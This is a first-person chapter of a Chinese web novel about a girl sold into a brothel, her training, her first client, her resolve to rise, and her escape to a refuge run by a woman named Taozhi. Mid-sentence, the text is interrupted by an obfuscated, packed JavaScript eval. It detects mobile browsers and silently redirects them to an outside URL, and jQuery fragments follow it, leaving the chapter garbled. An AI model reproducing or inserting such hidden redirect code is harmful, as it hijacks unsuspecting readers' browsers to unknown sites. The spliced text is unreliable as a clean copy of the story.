我很早就知道，人生来便不是一样的。


    有人生下来有姓氏，有家门，有父兄给她照拂；有人生下来便连名字都不取，转手卖出去时，只在牙婆账上记一笔，女童一名，年岁若干，容貌尚可。


    我属于后者。


    我记不清自己最初叫什么。也许有过一个名字，也许没有。后来楼里的人叫我鸯鸯，说鸳鸯两个字好听，客人爱听。起名的人还笑，说姑娘家有了这样一个名字，命里总该沾些情意。我当时还小，不懂这话里有多少假，只觉得那两个字念起来总比牙婆喊我“丫头”好听。


    我进的不是最下等的窑子。


    下等地方只要人还能喘气，能接客，便算值钱；我进的那处楼，讲究些。姑娘要会走，要会笑，要会说话，要会弹唱几句，也要认字。老鸨说，男人花大价钱，买的不只是一个身子，还要买自己像个雅人的脸面。姑娘若只会脱衣裳，便卖不出好价。若会念两句诗，低头一笑，叫客人觉得自己懂风月，那银子便肯多掏几分。


    所以我从很小便开始学。


    天还没亮，楼里的嬷嬷便叫我们起身。先学站，背要直，肩不能塌，下巴不能扬得太高，也不能低得像犯错。再学走，裙摆不能乱，脚步要轻，转身时袖子要跟着人动。学完这些，又学笑。笑也分许多种。见生客要浅，见熟客要软，听客人说自己年轻时的旧事，要笑得像真觉得有趣。若客人说的是笑话，哪怕不好笑也要掩嘴装笑。


    嬷嬷说，男人看女人，最先看脸，第二眼看眼睛。眼睛里若空，脸再好也少一半价。


    于是我们学怎样让眼睛里有东西。


    有时要有羞怯，有时要有崇拜，有时要有一点欲说还休的委屈。男人各有各的毛病，有人喜欢女子低头，有人喜欢女子顶嘴，有人把自己当才子，爱听旁人赞他诗好；有人明明粗鄙，却最怕旁人看出他粗鄙，便偏要姑娘陪他谈琴棋书画。楼里教我们的，并不只是怎样讨男人喜欢，更是怎样看出男人想要自己成为什么样的人。


    这本事很有用。


    后来我见过许多读书人，也见过一些官宦子弟。他们在楼里饮酒，说朝中某位大人如何识人，某位上官如何喜文章清正，某位贵人不爱听直话，要绕着说才高兴。他们说这些时，眉飞色舞，像在谈经世之道。我坐在旁边斟酒，心里却常常想，他们学的同我也没有差太远。


    他们揣摩上位者，我揣摩客人。


    他们写文章，要写到考官心里；我笑，要笑到客人心里。


    他们说自己是才学，是抱负，是识时务；轮到女人这里，便成了下贱，成了狐媚，成了不知廉耻。


    世上许多规矩，本就是这样。男人把自己做的事换一个好听名字，便能昂首挺胸。女人用同样的心思活下去，便要先被人啐一口。


    我不认这个理。


    我从不觉得靠美貌往上爬，比男人靠文章、靠口才、靠家门往上爬低多少。美貌也是本钱。有人天生嗓子好，有人天生会读书，有人天生记性强，我天生生了一张叫人愿意多看两眼的脸。既然老天只给了我这个，我便该把它用到极处。


    楼里的姑娘也分等。


    有的姑娘一来便哭，哭自己命苦，哭爹娘卖她，哭到嗓子哑了，第二日照样要被拖起来跟着大家学。有的姑娘性子烈，打翻饭碗，扯坏衣裳，夜里被关在柴房里饿一顿，出来后眼睛里便黯淡一些。也有的姑娘认命得快，嬷嬷教什么便学什么，客人喊什么便应什么，像一块湿布，谁拿起来都能拧出水。


    我不是最听话的，也不是最烈的。


    我只是学得快。


    嬷嬷教我们认香，我能记住哪一种贵，哪一种俗，哪一种只闻着雅，其实便宜。教我们认客，我能分出谁是真有钱，谁是装阔，谁嘴上说会赎人，实则连明日酒钱都要赊。教我们抄曲词，我能抄得比旁人齐整。教我们弹琵琶，我弹得不算最好，却知道弹到哪一处该抬眼看人。


    老鸨渐渐喜欢我。


    她说我安静，不惹事，有脑子。这样的姑娘养出来，价钱高。


    我听见这话时，并不难过。


    她把我当货物，我也把她当梯子。她要从我身上赚钱，我也要借她教的东西往上走。谁也不比谁干净，谁也不必装作情深。


    到了能挂牌的年纪，楼里替我办了一场小宴。


    那日我穿一身浅杏色衣裳，头上戴两支珍珠钗。嬷嬷替我上妆时，手依旧熟练。她说鸯鸯，你这张脸好，别糟蹋。今日来的客人里，有两位是常给楼里捧场的公子，还有一位外地商人，出手阔。你不必急着笑，也不必显得太怕。怕太多，男人兴奋一阵便过了；若叫他们觉得你心里有一层东西，他们反倒惦记得久些。


    我坐在镜前，看着镜中那张脸。


    脸上敷了粉，眉被描细，唇上点了一点胭脂。那张脸美得有些陌生，却确实是我的。我明白，从那日起，我身上最值钱的东西终于要被拿出来估价了。


    我从没真心哭过。


    楼里不缺哭声。夜里哭，白日哭，接客前哭，接客后哭。哭多了，人只会先烦，再麻木。客人不会因为你哭便少摸你一下，老鸨不会因为你哭便少收一分银子。嬷嬷说，眼泪要留着有用时再掉。掉给会心疼的人，才值钱。掉给不会心疼的人，只是添笑话。


    那一夜，我更加理解了这句话。


    客人来时，我坐在帘后弹琵琶。弹曲子的手艺不算顶尖，胜在手指细，胜在低着头时露出的那一点侧脸。有人掀帘进来，酒气先到了跟前。我抬眼看他，先看衣料，再看腰间玉佩，最后看他的眼睛。那双眼睛里有兴致，也有一点等着看我惊慌的轻慢。


    我把手从弦上收回来，起身行礼，声音放得很轻。


    “公子来了。”


    他愣了一下，随即笑了。


    那一笑，我便知道自己做对了。


    后来发生的事，没有什么好细说。世上许多女人都经历过这样的夜，只是有人在洞房里，有人在青楼的帐子后。外头给这些事起了不同的名字，里头的人究竟愿不愿意，其实没有多少人在乎。


    那夜之后，我坐在床边很久。


    窗外天快亮，楼下已经有人起来洒水。嬷嬷进来看我，问我还撑得住吗。我说撑得住。她看了我一会儿，像有些意外，又有些满意，递给我一盏热茶。


    “以后便好了。”她说，“过了头一回，后头总会容易些。”


    我接过茶。


    茶水很烫，入口苦。我慢慢喝下去，心里想，后头不会容易。只是我会更会装。


    从那以后，我开始接客。


    我接过许多种男人。


    年轻公子最爱谈情。他们说自己不似旁人，不把青楼女子当玩物。他们会替我写诗，会在酒后握着我的手，说若我生在好人家，定也是闺阁佳人。我听着，常常会笑。他们说这些时是真心吗？或许有一瞬是真。可真心若只能在酒后和帐中出现，天亮后便要收回去，那东西也不必看得太重。


    商人爱谈价。


    他们看珠宝，看绸缎，也看女人。他们夸人时常像估货，说这姑娘眉眼好，腰身也好，若带到某地，价钱还能翻。这样的人倒不叫我厌烦。至少他们明白买卖是买卖，不拿情字遮羞。


    读书人最麻烦。


    他们来青楼，又要嫌青楼脏；摸着姑娘的手，又要叹女子命苦；花了银子听曲，酒后还要说一句风尘误人。他们最爱替我们伤春悲秋，像只要他们叹过一声，我们身上的苦便成了他们诗里的雅意。


    我不喜欢他们。


    可我最会应付他们。


    因为他们最好骗。


    只要在他们吟诗时低头，听到妙处抬眼，说一句“公子这句真好”，他们便会觉得你是知己。若再问一句典故出自何处，他们更高兴。男人的自负，有时比欲望更好哄。


    我在楼里一日一日长大，慢慢也有了名声。


    鸯鸯姑娘性子静，会听人说话，眼神柔，笑起来不轻浮。有人说我不像楼里的姑娘，像落难的书香小姐。我听见这话，总要在心里笑。书香小姐若真落到这里，用不了多久，也会学会同我一样的本事。人所谓气质，多半靠日子养，也靠日子磨。好日子养出端庄，坏日子磨出眼色。


    我不恨美貌。


    楼里许多姑娘恨自己的脸。她们说若生得丑些，兴许不会被卖到这里。可我知道，丑也未必能逃。丑有丑的苦，美有美的苦。美貌至少还能换银子，换衣裳，换一个更好些的房间，换老鸨在你病时愿意请一次大夫。若命运已经如此糟糕，能多一件可用的东西，便不该嫌它脏。


    我更不恨自己会讨好人。


    讨好上位者，本就是活法。


    朝堂上那些大人，谁不是这样？他们穿朝服，戴官帽，在金殿里说天下，说黎民，说道义，可他们说话前也要先看皇帝的脸色。皇帝喜简，他们便少写；皇帝喜直，他们便装直；皇帝忌讳什么，他们便绕开什么。若说这叫本事，那么我在酒桌上看客人脸色，也该叫本事。


    只是他们讨好的是皇帝，是权臣，是能给官位的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17640394|203305||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    人。


    我讨好的是花钱买我的男人。


    他们便觉得自己高我一等。


    我偏不这样觉得。


    我一直想往上爬。


    这念头在很早很早的时候便从心底冒了头。起初只是想吃饱，想穿暖，想不被打。后来想住好些的房间，想少接一些粗鄙的客，想让嬷嬷对我说话轻些。再后来，我见过那些真正的贵人，看他们身边随从成群，看老鸨在他们面前低声下气，看平日里不可一世的客人到了他们跟前也要弯腰，我便想，原来人还可以站到那样高的地方。


    站得高了，才有人怕你。


    站得高了，自己才可以少怕些。


    我不想一辈子在楼里等人挑。


    楼里的姑娘年岁大得很快。十六七岁是一种价，二十岁又是一种价，过了二十五，若没有人赎，没有攒下钱，没有被老鸨另派用处，便会被更年轻的脸挤下去。有的做嬷嬷，有的转到下等地方，有的病了，悄悄死在后院。死后用一床草席卷出去，连楼里的灯都不会少点一盏。


    我看过这样的结局。


    所以我从不信“以后便好了”。


    以后不会自己好。人若不往上爬，只会被往下踩。


    可要往上爬，也要等机会。


    机会不会写在脸上。它常常藏在一场酒、一句话、一个忽然经过的人身上。楼里教我们看男人，我后来便学着看所有人。看谁有用，谁无用；谁只是嘴上贵，谁手里真有权；谁能给一点银子，谁能给一条新命。


    很多年里，我都没有等到真正能改变命的人。


    一直等到楼散那年。


    那段时间乱得很。楼里得罪了不该得罪的人，老鸨原先靠着的关系倒了，债主上门，牙婆也来了。姑娘们被一批一批估价，有人哭，有人求，有人夜里想逃，被抓回来后打得半死。我那时已经不是最年轻的，却仍值钱。牙婆看我的脸，说这样的货色，转去别处还能卖高价。


    我听见“货色”两个字时，竟没有什么感觉。


    人若被叫得久了，也会习惯。


    我只是在想，下一处会不会比这里更糟。


    后来我逃了。


    那日下雨，后门看守喝醉，院里乱成一团。我从存放旧衣的屋子里换了件灰扑扑的布衫，脸上抹了灰，趁人搬箱笼时钻出去。跑到河边时，鞋掉了一只，脚底被石子划破。我不敢停，沿着河岸一直走，走到眼前发黑，才扶着一棵柳树坐下。


    雨水落在脸上，很冷。


    我那时忽然想笑。


    我学了这么多年，记了那么多客人的喜好，背了那么多曲词，练了那么久笑，到头来逃命时也不过是一身湿衣、一只破鞋、一张抹脏的脸。所谓美貌，在那一刻连一个馒头都换不来。


    可我仍旧不后悔有它。


    因为我知道，只要活着，这张脸便总还有用。


    天快黑时，有人停在我面前。


    我抬头，看见一个女子。她穿得不算华丽，眉眼却很活，站在雨里，手里撑着一把旧伞。她低头看我，眼神里有怜悯，也有警惕。


    “你从哪儿逃出来的？”她问。


    我没有答。


    她看了我一会儿，又问：“还走得动吗？”


    我仍旧没有答。


    她忽然笑了一声，“不答便不答。能喘气就行。”


    后来我才知道，她叫桃枝。


    那一日，她把我带回了广陵城南那处宅子。屋里有一群女人，有人给我热水，有人找旧衣，有人看着我的脸叹气，说这样的相貌，若再被牙婆捡去，必定又要送回楼里。桃枝站在门边，听了这话，脸色沉了沉。


    我坐在床边，手里捧着一碗热粥。


    粥很薄，米少得可怜，可那是我那几日喝到的第一口热东西。


    桃枝问我：“叫什么？”


    我说：“鸯鸯。”


    “姓呢？”


    我摇头。


    桃枝看了我一会儿，没有再问。


    她道：“先住下吧。”


    我低头喝粥，热气熏到眼睛，眼前有些模糊。我还是没有哭出来。哭太容易叫人误会，好像我从此便能把自己交给旁人的善心。善心是好东西，却不能拿来当饭吃，更不能拿来当命靠。


    我感激桃枝。


    这一点是真的。


    可那一晚，我躺在旧被子里，听着屋外雨声，心里想的并不只是感激。


    我想，我又活下来了。


    只要活下来，便还有机会往上走。